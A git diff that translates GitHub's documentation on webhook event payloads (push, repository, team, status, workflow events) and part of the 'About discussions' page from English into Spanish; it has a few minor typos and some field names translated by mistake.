-`commits[][modified]`|`array` | An array of files modified by the commit.
-`commits[][removed]`|`array` | An array of files removed in the commit.
-`pusher` | `object` | The user who pushed the commits.
+| Clave                      | Tipo        | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| -------------------------- | ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `ref`                      | `secuencia` | Toda la [`git ref`](/rest/reference/git#refs) que se cargó. Ejemplo: `refs/heads/main` o `refs/tags/v3.14.1`.                                                                                                                                                                                                                                                                                                                                                                                                   |
+| `before`                   | `secuencia` | El SHA de la confirmación más reciente en `ref` antes de la carga.                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+| `after`                    | `secuencia` | El SHA de la confirmación más reciente en `ref` después de la carga.                                                                                                                                                                                                                                                                                                                                                                                                                                            |
+| `created`                  | `boolean`   | Si es que esta subida creó la `ref`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
+| `deleted`                  | `boolean`   | Si es que esta subida borró la `ref`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| `forced`                   | `boolean`   | Si es que esta subida fue una subida forzada de la `ref`.                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| `head_commit`              | `objeto`    | Para las subidas en donde `after` es o apunta a un objeto de confirmación, es una representación expandida de dicha confirmación. Para las subidas en donde `after` se refiere a un objeto de etiqueta anotada, es una representación expandida de la confirmación a la que otra etiqueta apuntó.                                                                                                                                                                                                               |
+| `compare`                  | `secuencia` | URL que muestra los cambios en esta actualización de `ref`, desde la confirmación `before` hasta la de `after`. Para una `ref` recién creada que se basa directamente en la rama predeterminada, esta es la comparación entre el encabezado de la rama predeterminada y la confirmación de `after`. De lo contrario, esto muestra todas las confirmaciones hasta la confirmación de `after`.                                                                                                                    |
+| `commits`                  | `arreglo`   | Un conjunto de objetos de confirmación que describen las confirmaciones subidas. (Las confirmaciones subidas son todas las que se incluyen en el `compare` entre la confirmación de `before` y la de `after`). El arreglo incluye un máximo de 20 confirmaciones. De ser encesario, puedes utilizar la [API de confirmaciones](/rest/reference/repos#commits) para recuperar confirmaciones adicionales. Este límite se aplica a los eventos cronológicos únicamente y no se aplica a las entregas de webhooks. |
+| `commits[][id]`            | `secuencia` | El SHA de la confirmación.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| `commits[][timestamp]`     | `secuencia` | La marca de tiempo de tipo ISO 8601 de la confirmación.                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| `commits[][message]`       | `secuencia` | El mensaje de la confirmación.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| `commits[][author]`        | `objeto`    | El autor de git de la confirmación.                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| `commits[][author][name]`  | `secuencia` | El nombre del autor de git.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| `commits[][author][email]` | `secuencia` | La dirección de correo electrónico del autor de git.                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
+| `commits[][url]`           | `url`       | URL que apunta al recurso de la API de la confirmación.                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| `commits[][distinct]`      | `boolean`   | Si la confirmación es distinta de cualquier otra que se haya subido antes.                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| `commits[][added]`         | `arreglo`   | Un arreglo de archivos que se agregaron en la confirmación.                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| `commits[][modified]`      | `arreglo`   | Un areglo de archivos que modificó la confirmación.                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| `commits[][removed]`       | `arreglo`   | Un arreglo de archivos que se eliminaron en la confirmación.                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| `pusher`                   | `objeto`    | El usuario que subió la confirmación.                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.push }}
 
-## release
+## lanzamiento
 
 {% data reusables.webhooks.release_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `contents`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.release_webhook_properties %}
 {% data reusables.webhooks.release_properties %}
@@ -1084,66 +1086,66 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.release.published }}
 
 {% ifversion fpt or ghes or ghae or ghec %}
 ## repository_dispatch
 
-This event occurs when a {% data variables.product.prodname_github_app %} sends a `POST` request to the "[Create a repository dispatch event](/rest/reference/repos#create-a-repository-dispatch-event)" endpoint.
+Este evento ocurre cuando una {% data variables.product.prodname_github_app %} envía una solicitud de `POST` a la terminal "[Crear un evento de envío de repositorio](/rest/reference/repos#create-a-repository-dispatch-event)".
 
-### Availability
+### Disponibilidad
 
-- {% data variables.product.prodname_github_apps %} must have the `contents` permission to receive this webhook.
+- Las {% data variables.product.prodname_github_apps %} deben tener el permiso `contents` para recibir este webhook.
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.repository_dispatch }}
 {% endif %}
 
-## repository
+## repositorio
 
 {% data reusables.webhooks.repository_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks receive all event types except `deleted`
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `metadata` permission receive all event types except `deleted`
+- Los webhooks de repositorio reciben todos los eventos excepto los de `deleted`
+- Webhooks de organización
+- Las {% data variables.product.prodname_github_apps %} con el permiso `metadata` reciben todos los tipos de evento menos los de `deleted`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action that was performed. This can be one of:<ul><li>`created` - A repository is created.</li><li>`deleted` - A repository is deleted.</li><li>`archived` - A repository is archived.</li><li>`unarchived` - A repository is unarchived.</li>{% ifversion ghes or ghae %}<li>`anonymous_access_enabled` - A repository is [enabled for anonymous Git access](/rest/overview/api-previews#anonymous-git-access-to-repositories), `anonymous_access_disabled` - A repository is [disabled for anonymous Git access](/rest/overview/api-previews#anonymous-git-access-to-repositories)</li>{% endif %}<li>`edited` - A repository's information is edited.</li><li>`renamed` - A repository is renamed.</li><li>`transferred` - A repository is transferred.</li><li>`publicized` - A repository is made public.</li><li> `privatized` - A repository is made private.</li></ul>
+| Clave    | Tipo        | Descripción                                                                              |
+| -------- | ----------- | ---------------------------------------------------------------------------------------- |
+| `Acción` | `secuencia` | La acción que se realizó. Esta puede ser una de las siguientes:<ul><li>`created` - Un repositorio se crea.</li><li>Un repositorio se borra.</li><li>`archived` - Un repositorio se archiva.</li><li>`unarchived` - Un repositorio se desarchiva.</li>{% ifversion ghes or ghae %}<li>`anonymous_access_enabled` - Un repositorio se [habilita para el acceso anónimo de Git](/rest/overview/api-previews#anonymous-git-access-to-repositories), `anonymous_access_disabled` - Un repositorio se [inhabilita para el acceso anónimo de Git](/rest/overview/api-previews#anonymous-git-access-to-repositories)</li>{% endif %}<li>`edited` - Se edita la información de un repositorio.</li><li>`renamed` - Un repositorio se renombra.</li><li>`transferred` - Un repositorio se transfiere.</li><li>`publicized` - Un repositorio se hace público.</li><li> `privatized` - Un repositorio se hace privado.</li></ul> |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.repository.publicized }}
 
 {% ifversion fpt or ghec %}
 ## repository_import
 
-{% data reusables.webhooks.repository_import_short_desc %} To receive this event for a personal repository, you must create an empty repository prior to the import. This event can be triggered using either the [GitHub Importer](/articles/importing-a-repository-with-github-importer/) or the [Source imports API](/rest/reference/migrations#source-imports).
+{% data reusables.webhooks.repository_import_short_desc %} Para recibir este evento para un repositorio personal, debes crear un repositorio vacío antes de la importación. Este evento puede activarse utilizando ya sea el [Importador de GitHub](/articles/importing-a-repository-with-github-importer/) o la [API de importaciones fuente](/rest/reference/migrations#source-imports).
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
+- Webhooks de repositorio
+- Webhooks de organización
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.repository_import_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.repository_import }}
 
@@ -1151,19 +1153,19 @@ Key | Type | Description
 
 {% data reusables.webhooks.repository_vulnerability_alert_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
+- Webhooks de repositorio
+- Webhooks de organización
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.repository_vulnerability_alert_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.repository_vulnerability_alert.create }}
 
@@ -1175,21 +1177,21 @@ Key | Type | Description
 
 {% data reusables.webhooks.secret_scanning_alert_event_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `secret_scanning_alerts:read` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- Las {% data variables.product.prodname_github_apps %} con el permiso de `secret_scanning_alerts:read`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.secret_scanning_alert_event_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
-`sender` | `object` | If the `action` is `resolved` or `reopened`, the `sender` object will be the user that triggered the event. The `sender` object is empty for all other actions.
+`sender` | `object` | Si la `action` se muestra como `resolved` o como `reopened`, el objeto `sender` será el usuario que activó el evento. El objeto `sender` estará vacío en el resto de las acciones.
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.secret_scanning_alert.reopened }}
 {% endif %}
@@ -1197,127 +1199,130 @@ Key | Type | Description
 {% ifversion fpt or ghes or ghec %}
 ## security_advisory
 
-Activity related to a security advisory. A security advisory provides information about security-related vulnerabilities in software on GitHub. The security advisory dataset also powers the GitHub security alerts, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)."
-{% endif %}
+La actividad relacionada con una asesoría de seguridad que revisó {% data variables.product.company_short %}. Una asesoría de seguridad que haya revisado {% data variables.product.company_short %} proporciona información sobre las vulnerabilidades relacionadas con la seguridad en el software de {% data variables.product.prodname_dotcom %}.
 
-### Availability
+El conjunto de datos de asesoría de seguridad también impulsa las {% data variables.product.prodname_dependabot_alerts %} de GitHub. Para obtener más información, consulta la sección "[Acerca de las alertas para las dependencias vulnerables](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)".
 
-- {% data variables.product.prodname_github_apps %} with the `security_events` permission
+### Disponibilidad
 
-### Webhook payload object
+- {% data variables.product.prodname_github_apps %} con el permiso `security_events`
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action that was performed. The action can be one of `published`, `updated`, `performed`, or `withdrawn` for all new events.
-`security_advisory` |`object` | The details of the security advisory, including summary, description, and severity.
+### Objeto de carga útil del webhook
 
-### Webhook payload example
+| Clave               | Tipo        | Descripción                                                                                                                                  |
+| ------------------- | ----------- | -------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Acción`            | `secuencia` | La acción que se realizó. La acción puede ser una de entre `published`, `updated`, `performed`, o `withdrawn` para todos los eventos nuevos. |
+| `security_advisory` | `objeto`    | Los detalles de la asesoría de seguridad, incluyendo el resumen, descripción, y severidad.                                                   |
+
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.security_advisory.published }}
 
+{% endif %}
+
 {% ifversion fpt or ghec %}
 ## sponsorship
 
 {% data reusables.webhooks.sponsorship_short_desc %}
 
-You can only create a sponsorship webhook on {% data variables.product.prodname_dotcom %}. For more information, see "[Configuring webhooks for events in your sponsored account](/sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account)".
+Solo puedes crear un webhook de patrocinio en {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección "[Configurar webhooks para eventos en tu cuenta patrocinada](/sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account)".
 
-### Availability
+### Disponibilidad
 
-- Sponsored accounts
+- Cuentas patrocinadas
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.sponsorship_webhook_properties %}
 {% data reusables.webhooks.sponsorship_properties %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example when someone creates a sponsorship
+### Ejemplo de carga útil de un webhook cuando alguien crea un patrocinio
 
 {{ webhookPayloadsForCurrentVersion.sponsorship.created }}
 
-### Webhook payload example when someone downgrades a sponsorship
+### Ejemplo de carga útil de un webhook cuando alguien degrada un patrocinio
 
 {{ webhookPayloadsForCurrentVersion.sponsorship.downgraded }}
 
 {% endif %}
 
-## star
+## estrella
 
 {% data reusables.webhooks.star_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
+- Webhooks de repositorio
+- Webhooks de organización
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.star_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.star.created }}
 
-## status
+## estado
 
 {% data reusables.webhooks.status_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `statuses` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `statuses`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|-------------
-`id` | `integer` | The unique identifier of the status.
-`sha`|`string` | The Commit SHA.
-`state`|`string` | The new state. Can be `pending`, `success`, `failure`, or `error`.
-`description`|`string` | The optional human-readable description added to the status.
-`target_url`|`string` | The optional link added to the status.
-`branches`|`array` | An array of branch objects containing the status' SHA. Each branch contains the given SHA, but the SHA may or may not be the head of the branch. The array includes a maximum of 10 branches.
+| Clave         | Tipo        | Descripción                                                                                                                                                                                              |
+| ------------- | ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `id`          | `número`    | El identificador único del estado.                                                                                                                                                                       |
+| `sha`         | `secuencia` | El SHA de la confirmación.                                                                                                                                                                               |
+| `state`       | `secuencia` | El estado nuevo. Puede ser `pending`, `success`, `failure`, o `error`.                                                                                                                                   |
+| `descripción` | `secuencia` | La descripción opcional legible para las personas que se agrega al estado.                                                                                                                               |
+| `url_destino` | `secuencia` | El enlace opcional agregado al estado.                                                                                                                                                                   |
+| `branches`    | `arreglo`   | Un conjunto de objetos de la rama que contiene el SHA del estado. Cada rama contiene el SHA proporcionado, pero éste puede ser o no el encabezado de la rama. El conjunto incluye un máximo de 10 ramas. |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.status }}
 
-## team
+## equipo
 
 {% data reusables.webhooks.team_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `members` permission
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `members`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action that was performed. Can be one of `created`, `deleted`, `edited`, `added_to_repository`, or `removed_from_repository`.
-`team`  |`object` | The team itself.
-`changes`|`object` | The changes to the team if the action was `edited`.
-`changes[description][from]` |`string` | The previous version of the description if the action was `edited`.
-`changes[name][from]` |`string` | The previous version of the name if the action was `edited`.
-`changes[privacy][from]` |`string` | The previous version of the team's privacy if the action was `edited`.
-`changes[repository][permissions][from][admin]` | `boolean` | The previous version of the team member's `admin` permission on a repository, if the action was `edited`.
-`changes[repository][permissions][from][pull]` | `boolean` | The previous version of the team member's `pull` permission on a repository, if the action was `edited`.
-`changes[repository][permissions][from][push]` | `boolean` | The previous version of the team member's `push` permission on a repository, if the action was `edited`.
-`repository`|`object` | The repository that was added or removed from to the team's purview if the action was `added_to_repository`, `removed_from_repository`, or `edited`. For `edited` actions, `repository` also contains the team's new permission levels for the repository.
+| Clave                                           | Tipo        | Descripción                                                                                                                                                                                                                                                                                              |
+| ----------------------------------------------- | ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Acción`                                        | `secuencia` | La acción que se realizó. Puede ser uno de entre `created`, `deleted`, `edited`, `added_to_repository`, o `removed_from_repository`.                                                                                                                                                                     |
+| `equipo`                                        | `objeto`    | El equipo mismo.                                                                                                                                                                                                                                                                                         |
+| `changes`                                       | `objeto`    | Los cambios al equipo si la acción está como `edited`.                                                                                                                                                                                                                                                   |
+| `changes[description][from]`                    | `secuencia` | La versión previa de la descripción si la acción está como `edited`.                                                                                                                                                                                                                                     |
+| `changes[name][from]`                           | `secuencia` | La versión previa del nombre si la acción está como `edited`.                                                                                                                                                                                                                                            |
+| `changes[privacy][from]`                        | `secuencia` | La versión previa de la privacidad del equipo si ésta se encuentra como `edited`.                                                                                                                                                                                                                        |
+| `changes[repository][permissions][from][admin]` | `boolean`   | La versión previa de los permisos de `admin` del miembro del equipo en un repositorio si la acción se encuentra como `edited`.                                                                                                                                                                           |
+| `changes[repository][permissions][from][pull]`  | `boolean`   | La versión previa de los permisos de `pull` del miembro del equipo en un repositorio si la acción se encuentra como `edited`.                                                                                                                                                                            |
+| `changes[repository][permissions][from][push]`  | `boolean`   | La versión previa de los permisos de `push` del miembro del equipo en un repositorio si la acción se encuentra como `edited`.                                                                                                                                                                            |
+| `repositorio`                                   | `objeto`    | El repositorio que se agregó o eliminó del alcance del equipo si la acción se encuentra como `added_to_repository`, `removed_from_repository`, o `edited`. Para las acciones que estén como `edited`, el `repository` también contendrá los nuevos niveles de permiso del equipo para dicho repositorio. |
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.team.added_to_repository }}
 
@@ -1325,54 +1330,54 @@ Key | Type | Description
 
 {% data reusables.webhooks.team_add_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `members` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `members`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|-------------
-`team`|`object` | The [team](/rest/reference/teams) that was modified.  **Note:** Older events may not include this in the payload.
+| Clave    | Tipo     | Descripción                                                                                                                     |
+| -------- | -------- | ------------------------------------------------------------------------------------------------------------------------------- |
+| `equipo` | `objeto` | El [equipo](/rest/reference/teams) que se modificó.  **Nota:** Los eventos anteriores podrían no incluir esto en la carga útil. |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.team_add }}
 
 {% ifversion ghes or ghae %}
 
-## user
+## usuario
 
-When a user is `created` or `deleted`.
+Cuando se aplica `created` o `deleted` a un usuario.
 
-### Availability
-- GitHub Enterprise webhooks. For more information, "[Global webhooks](/rest/reference/enterprise-admin#global-webhooks/)."
+### Disponibilidad
+- Webhooks de GitHub Enterprise. Para obtener más información, consulta los "[webhooks globales](/rest/reference/enterprise-admin#global-webhooks/)."
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.user.created }}
 
 {% endif %}
 
-## watch
+## observar
 
 {% data reusables.webhooks.watch_short_desc %}
 
-The event’s actor is the [user](/rest/reference/users) who starred a repository, and the event’s repository is the [repository](/rest/reference/repos) that was starred.
+El actor del evento es el [usuario](/rest/reference/users) que marcó el repositorio con una estrella, y el repositorio del evento es el [repositorio](/rest/reference/repos) que se marcó con una estrella.
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `metadata` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `metadata`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.watch_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -1380,20 +1385,20 @@ The event’s actor is the [user](/rest/reference/users) who starred a repositor
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.watch.started }}
 
 {% ifversion fpt or ghes or ghec %}
 ## workflow_dispatch
 
-This event occurs when someone triggers a workflow run on GitHub or sends a `POST` request to the "[Create a workflow dispatch event](/rest/reference/actions/#create-a-workflow-dispatch-event)" endpoint. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#workflow_dispatch)."
+Este evento ocurre cuando alguien activa una ejecución de flujo de trabajo en GitHub o cuando envía una solicitud de tipo `POST` a la terminal [Crear un evento de envío de flujo de trabajo](/rest/reference/actions/#create-a-workflow-dispatch-event)". Para obtener más información, consulta "[Eventos que activan los flujos de trabajo](/actions/reference/events-that-trigger-workflows#workflow_dispatch)".
 
-### Availability
+### Disponibilidad
 
-- {% data variables.product.prodname_github_apps %} must have the `contents` permission to receive this webhook.
+- Las {% data variables.product.prodname_github_apps %} deben tener el permiso `contents` para recibir este webhook.
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.workflow_dispatch }}
 {% endif %}
@@ -1404,20 +1409,20 @@ This event occurs when someone triggers a workflow run on GitHub or sends a `POS
 
 {% data reusables.webhooks.workflow_job_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- Enterprise webhooks
+- Webhooks de repositorio
+- Webhooks de organización
+- Webhooks empresariales
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.workflow_job_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.workflow_job }}
 
@@ -1425,13 +1430,13 @@ This event occurs when someone triggers a workflow run on GitHub or sends a `POS
 {% ifversion fpt or ghes or ghec %}
 ## workflow_run
 
-When a {% data variables.product.prodname_actions %} workflow run is requested or completed. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#workflow_run)."
+Cuando una ejecución de flujo de trabajo de {% data variables.product.prodname_actions %} se solicita o se completa. Para obtener más información, consulta "[Eventos que activan los flujos de trabajo](/actions/reference/events-that-trigger-workflows#workflow_run)".
 
-### Availability
+### Disponibilidad
 
-- {% data variables.product.prodname_github_apps %} with the `actions` or `contents` permissions.
+- En {% data variables.product.prodname_github_apps %} con los permisos de `actions` o de `contents`.
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.workflow_run_properties %}
 {% data reusables.webhooks.workflow_desc %}
@@ -1439,7 +1444,7 @@ When a {% data variables.product.prodname_actions %} workflow run is requested o
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.workflow_run }}
 {% endif %}
diff --git a/translations/es-ES/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md b/translations/es-ES/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md
index 1470bba1bc..23041f81b4 100644
--- a/translations/es-ES/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md
+++ b/translations/es-ES/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md
@@ -1,60 +1,60 @@
 ---
-title: About discussions
-intro: 'Use discussions to ask and answer questions, share information, make announcements, and conduct or participate in a conversation about a project on {% data variables.product.product_name %}.'
+title: Acerca de los debates
+intro: 'Utiliza los debates para preguntar y responder preguntas, compartir información, hacer anuncios y moderar o participar en una conversación sobre un proyecto en {% data variables.product.product_name %}.'
 versions:
   fpt: '*'
   ghec: '*'
 ---
 
 
-## About {% data variables.product.prodname_discussions %}
+## Acerca de {% data variables.product.prodname_discussions %}
 
-With {% data variables.product.prodname_discussions %}, the community for your project can create and participate in conversations within the project's repository. Discussions empower a project's maintainers, contributors, and visitors to gather and accomplish the following goals in a central location, without third-party tools.
+Con los {% data variables.product.prodname_discussions %}, la comunidad de tu proyecto puede crear y participar en conversaciones dentro del repositorio del proyecto. Los debates fotalecen a los mantenedores del proyecto, contribuyentes y visitantes para que se reunan y logren sus metas en una ubicación centralizada, sin herramientas de terceros.
 
-- Share announcements and information, gather feedback, plan, and make decisions
-- Ask questions, discuss and answer the questions, and mark the discussions as answered
-- Foster an inviting atmosphere for visitors and contributors to discuss goals, development, administration, and workflows
+- Comparte anuncios e información, recolecta comentarios, planea y toma decisiones
+- Haz preguntas, debate y respóndelas, y marca los debates como respondidos
+- Fomenta un ambiente amigable para los visitantes y contribuyentes para que se debatan las metas, el desarrollo, la administración y los flujos de trabajo
 
-![Discussions tab for a repository](/assets/images/help/discussions/hero.png)
+![Pestaña de debates en un repositorio](/assets/images/help/discussions/hero.png)
 
-You don't need to close a discussion like you close an issue or a pull request.
+No necesitas cerrar un debate de la misma forma en que cierras una propuesta o una solicitud de cambios.
 
-If a repository administrator or project maintainer enables {% data variables.product.prodname_discussions %} for a repository, anyone who visits the repository can create and participate in discussions for the repository. Repository administrators and project maintainers can manage discussions and discussion categories in a repository, and pin discussions to increase the visibility of the discussion. Moderators and collaborators can mark comments as answers, lock discussions, and convert issues to discussions. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Si un administrador de repositorio o mantenedor de proyecto habilita los {% data variables.product.prodname_discussions %} para un repositorio, cualquiera que visite el repositorio podrá crear y participar en los debates de este. Los administradores del repositorio y los mantenedores del proyecto pueden administrar los debates y las categorías de los mismos en un repositorio y fijarlos para incrementar la visibilidad de éstos. Los moderadores y colaboradores pueden marcar los comentarios como respuestas, fijar debates, y convertir las propuestas en debates. Para obtener más información, consulta la sección "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
-For more information about management of discussions for your repository, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)."
+Para obtener más información sobre la adminsitración de debates para tu repositorio, consulta la sección "[Administrar debates en tu repositorio](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)".
 
-## About discussion organization
+## Acerca de la organización de debates
 
-You can organize discussions with categories and labels.
+Puedes organizar debates con categorías y etiquetas.
 
 {% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %}
 
-For discussions with a question/answer format, an individual comment within the discussion can be marked as the discussion's answer. {% data reusables.discussions.github-recognizes-members %}
+Para los debates con un formato de pregunta/respuesta, un comentario individual dentro del debate puede marcarse como la respuesta a éste. {% data reusables.discussions.github-recognizes-members %}
 
 {% data reusables.discussions.about-announcement-format %}
 
-For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)."
+Para obtener más información, consulta la sección "[Administrar las categorías para los debates en tu repositorio](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)".
 
 {% data reusables.discussions.you-can-label-discussions %}
 
-## Best practices for {% data variables.product.prodname_discussions %}
+## Mejores prácticas para los {% data variables.product.prodname_discussions %}
 
-As a community member or maintainer, start a discussion to ask a question or discuss information that affects the community. For more information, see "[Collaborating with maintainers using discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)."
+Como mantenedor o miembro de la comunidad, inicia un debate para hacer una pregunta o debatir información que les afecte. Para obtener más información, consulta la sección "[Colaborar con los mantenedores a través de los debates](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)".
 
